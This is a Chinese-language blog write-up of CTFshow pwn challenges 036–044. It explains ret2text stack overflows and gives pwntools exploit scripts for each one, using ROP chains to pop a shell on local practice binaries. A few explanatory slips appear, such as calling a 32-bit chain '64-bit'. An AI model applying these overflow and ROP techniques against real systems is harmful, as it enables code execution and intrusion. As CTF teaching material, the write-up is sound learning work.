【PWN刷题】CTFshow036-044
城南小陌又逢春,只见梅花不见人。
这个系列记录一下学习pwn时刷题的过程,攻击形式以本地调试为主。我们从栈溢出部分开始。
CTFshow036
题目的描述是:存在后门函数,如何利用?
先检查程序保护:

这是一个32位的程序,没有开启任何保护,拖入ida分析一下,ctfshow()函数中使用了危险函数gets(),该函数不对输入的长度进行检查,导致了溢出。

这边缓冲区接受的长度是0x28,覆盖ebp之后实际的offset为0x28+4,当然也可以直接p32(0)来补齐ebp的4个字节。
同时发现了关键函数get_flag,地址是0x08048586,功能是读取根目录下的flag文件

exp:
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
get_flag = 0x08048586
payload = b'A'*40 + p32(0) + p32(get_flag)
io.sendlineafter('Enter what you want: ',payload)
io.interactive()
运行后成功读取到我们本地的flag:

CTFshow037
题目的描述是:32位的 system(“/bin/sh”) 后门函数给你
运行截图:

检查一下程序保护:

这是一个32位程序,只开启了NX保护,说明不能直接写入shellcode运行,不影响我们栈溢出。
ida分析一下,ctfshow()函数中存在溢出,读取了0x32字节的长度,但是缓冲区长度只有0x12h

同时发现了后门函数backdoor(),地址为:0x08048521,功能是直接给出shell:

所以我们只需要溢出后覆盖EIP跳转的地址,让程序跳转到bawckdoor()函数。
exp:
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
get_flag = 0x08048521
payload = b'A'*(0x12+4) + p32(get_flag)
io.sendlineafter('Just very easy ret2text&&32bit',payload)
io.interactive()
运行后成功getshell,读取到flag:

CTFshow038
题目的描述是:64位的 system(“/bin/sh”) 后门函数给你
这是一个64位的程序,由于64位和32位函数的调用约定不同,所以构造payload的结构也有所差异,两者差异整理了以下表格:
| 对比项 | 32 位 (x86) | 64 位 (x86-64) |
|---|---|---|
| 调用约定 | cdecl,参数全部压栈 | System V,前 6 参数放寄存器 |
| 参数传递顺序 | 从右到左依次压栈 | rdi → rsi → rdx → rcx → r8 → r9 |
| system ("/bin/sh") 结构 | padding + system + fake_ret + bin_sh | padding + pop_rdi_ret + bin_sh + system |
| 是否需要 ROP gadget | 单参数不需要 | 必须用 pop rdi; ret |
| 地址打包函数 | p32(addr)(4 字节) | p64(addr)(8 字节) |
| 栈对齐要求 | 基本不用考虑 | 常需加一个纯 ret gadget 对齐 rsp |
| 多参数构造 | 直接跟在返回地址后压栈 | 每个参数对应一个 pop gadget,多余寄存器填 junk |
| 典型踩坑 | 偏移算错、libc 地址错 | 照搬 32 位写法导致 rdi 为垃圾值、栈不对齐 segfault |
下面我们看这道题目,先检查一下程序保护:

运行截图:

拖入ida中分析,同样存在溢出:

get_shell()函数的地址是:0x0400657,这道题并不需要传递参数,所以我们需要寻找一个干净的ret来覆盖system()函数的返回地址,我们用ROPgadget工具:
ROPgadget --binary ./pwn --only "ret"

ret的地址为0x0400287
此时我们的payload应为:payload = offset + ret + system
exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
get_shell = 0x0400657
ret = 0x400287
payload = b'A'*10 + p64(0) + p64(ret) + p64(get_shell)
io.sendlineafter('Just easy ret2text&&64bit',payload)
io.interactive()
运行后得到shell,成功读取到flag:

CTFshow039
题目的描述是:32位的 system(); "/bin/sh"
这道题开始不再有现成的后门函数来跳转,需要我们自己去构造参数链。
运行截图:

检查程序保护:

这是一个32位程序,ctfshow()函数存在溢出,填充长度为0x12+4

hint()函数中有/bin/sh字符串,在Strings视图中同样可以发现(Shift+F12)


现在得到了system地址:0x080483A0,/bin/sh的地址为:0x08048750
根据64位程序的调用约定,我们payload的构造应为:
payload = offset + system + ret(或任意4字节来覆盖函数返回地址) + system
exp:
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
system = 0x080483A0
bin_sh = 0x08048750
payload = b'A'*18 + p32(0) + p32(system) + p32(0) + p32(bin_sh)
io.sendlineafter('Just easy ret2text&&32bit',payload)
io.interactive()
运行后得到shell,成功读取到flag:

CTFshow040
题目的描述是:64位的 system(); "/bin/sh"
运行截图:

检查程序保护:

同样存在溢出,长度为0xA+8:


64位中传递参数需要ROPgadget,这里我们只需要给system函数传递一个参数,所以需要找到pop rdi ; ret的地址:
ROPgadget --binary ./pwn | grep "pop rdi ; ret"

再寻找一个干净的ret覆盖system返回地址,或者用任意4字节的脏数据p64(0),这里我们用ret
ROPgadget --binary ./pwn --only "ret"

至此我们得到 system:0x0400520,/bin/sh:0x0400808,pop_rdi:0x04007e3,ret:0x04004fe
此时payload的结构应为:
payload = offset + pop_rdi + bin_sh + ret + system
完整exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
system = 0x400520
bin_sh = 0x400808
pop_rdi = 0x4007e3
ret = 0x4004fe
payload = b'A'*10 + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.sendlineafter('Just easy ret2text&&64bit',payload)
io.recv()
io.interactive()
运行后得到shell,成功读取到flag:

CTFshow041
题目的描述是:32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代
这一题与上面的题目相同,不过没有/bin/sh,学过linux都知道,/bin/sh和sh的效果相同,在程序的.rodata段发现了sh字符串,地址为:0x080487BA

直接构造exp:
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
system = 0x080483D0
sh = 0x080487BA
payload = b'A'*18 + p32(0) + p32(system) + p32(0x08048376) + p32(sh)
io.sendline(payload)
io.recv()
io.interactive()
运行后得到shell,成功读取到flag:

CTFshow042
题目的描述是:64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代
跟上题目一样用sh代替/bin/sh即可,但是这是64位的,根据调用约定,我们还需要获取ret,pop_rdi,system的地址。
寻找一下pop_rdi:

pop_rdi:0x400843,system:0x400560,sh:0x400872,这里覆盖返回地址就不用ret了,我们用p64(0)即可。
解题脚本:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
system = 0x400560
sh = 0x400872
pop_rdi = 0x400843
ret = 0x40053e
payload = b'A'*10 + p64(0) + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
io.sendline(payload)
io.recv()
io.interactive()
运行后得到shell,成功读取到flag:

CTFshow043
题目的描述是:32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
检查一下程序保护:

32位程序,只开启了NX保护。
程序中有system函数,但是并没有直接给出可以调用的参数。所以需要我们手动构造,存在gets函数,给我们提供了手动输入构造参数的能力,

s
列表中的.bss段(Shift+F7)发现了变量buf2:0x0804B060

所以我们的思路就是向.bss段的buf2处写入 “/bin/sh” 字符串,并将其地址作为 system 的参数传入。这里gets函数的返回值不能用简单的ret构造,因为buf2在.bss段,.bss段没有执行权限。不能直接填4个字节的垃圾数据,否则会崩溃。
我们上面做题时system函数就可以直接用ret来覆盖返回地址,这里的gets函数则不行,原因是根据 cdecl 规则:调用者平衡栈,被调用函数自己不清理栈。简单来说就是当 system 成功拉起 /bin/sh,进程流直接交给 shell,system函数不会执行到末尾的 ret 指令。system 的返回地址根本不会被使用,不会执行 ret,所以这个位置填啥垃圾 4 字节都无所谓:b'aaaa'、p32(0xdeadbeef)、cyclic (4) 全都可以。
但是gets一定会正常返回,gets读完输入一定会走到 ret,所以 gets 的返回地址必须是一个合法 gadget 地址,不能乱写垃圾数据。
| 函数 | 会不会执行 ret 返回 | 返回地址能不能填垃圾 |
|---|---|---|
| gets | 一定会 ret | 必须填合法 gadget,不能 aaaa |
| system("/bin/sh") | 拿到 shell 就不返回 | 随便填 4 字节垃圾 |
这里我们选择用ebx寄存器,因为现代 32 位 libc 为了 ASLR,动态库是位置无关代码 PIC,不能硬编码绝对地址,需要一个寄存器当GOT全局偏移表的基址,这个约定寄存器就是ebx。
pop_ebx的地址我们同样可以用ROPgadget来获取,我们选一个干净的即可:
ROPgadget --binary ./pwn | grep "pop ebx ; ret"

所以我们构造的payload结构是:
payload = offset + gets + pop_ebx + buf2 + system + ret或p32() + buf2
解题脚本:
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
system = 0x08048450
gets = 0x08048420
pop_ebx = 0x08048409
buf2 = 0x0804B060
payload = b'A'*(0x6C) + p32(0) + p32(gets) + p32(pop_ebx) +p32(buf2) + p32(system) + p32(0) + p32(buf2)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.recv()
io.interactive()
运行后得到shell,成功读取到flag:

CTFshow044
题目的描述是:64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
这题的的思路和上一题一样,都是通过gets函数来手动构造参数,不同的是64位的调用约定中函数调用和参数传入的顺序和32位是相反的。
64位中传递的第一个参数存在rdi寄存器中,所以我们需要获取的地址有:system,gets,pop_rdi,buf2。
地址分别为:
system = 0x400520
gets = 0x400530
pop_rdi = 0x4007f3
buf2 = 0x602080
构造的payload结构是:
payload = offset + pop_rdi + buf2 + gets + pop_rdi + buf2 + system
那么问题来了,为什么64位中函数调用后不需要用
ret等来覆盖返回值?
因为32位程序参数全部在栈上:
gets地址
pop_ebx_ret ← gets返回地址
buf2 ← gets参数
gets ret → 跳到 pop_ebx;ret,pop 消耗 buf2,再 ret 跳 system。
64 位程序参数放寄存器,gadget 本身自带 ret
pop_rdi gadget 完整指令:
0x4007f3: pop rdi
0x4007f4: ret
每一个普通 ROP gadget 末尾自带一条 ret
整个 ROP 链是靠每一个 gadget 最后的 ret 串联起来的:
pop_rdi; ret → ret跳 gets
gets函数执行完ret → ret跳下一个 pop_rdi; ret
pop_rdi; ret → ret跳 system
整条 ROP 链条串联逻辑:
[pop_rdi] ret → gets
gets ret → [pop_rdi] ret → system
payload 写进去的 p64(pop_rdi) 这个地址本身就是 pop rdi; ret 这条 gadget 的起始。所以不需要额外再加一个 p64 (ret),因为 gadget 内部已经包含 ret 指令。
解题脚本:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
system = 0x400520
gets = 0x400530
pop_rdi = 0x4007f3
buf2 = 0x602080
payload = b'A'*10 + p64(0) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.recv()
io.interactive()
运行后得到shell,成功读取到flag:

036-044的题目到现在已经刷完了,这部分都是ret2text类型的题目,程序中直接给出了后门函数或者相关的构造手段,后面的题目涉及到泄露libc中的地址属于ret2libc,下一篇文章中将继续刷题。

【ret2text】CTFshow036-044刷题记录
浙公网安备 33010602011771号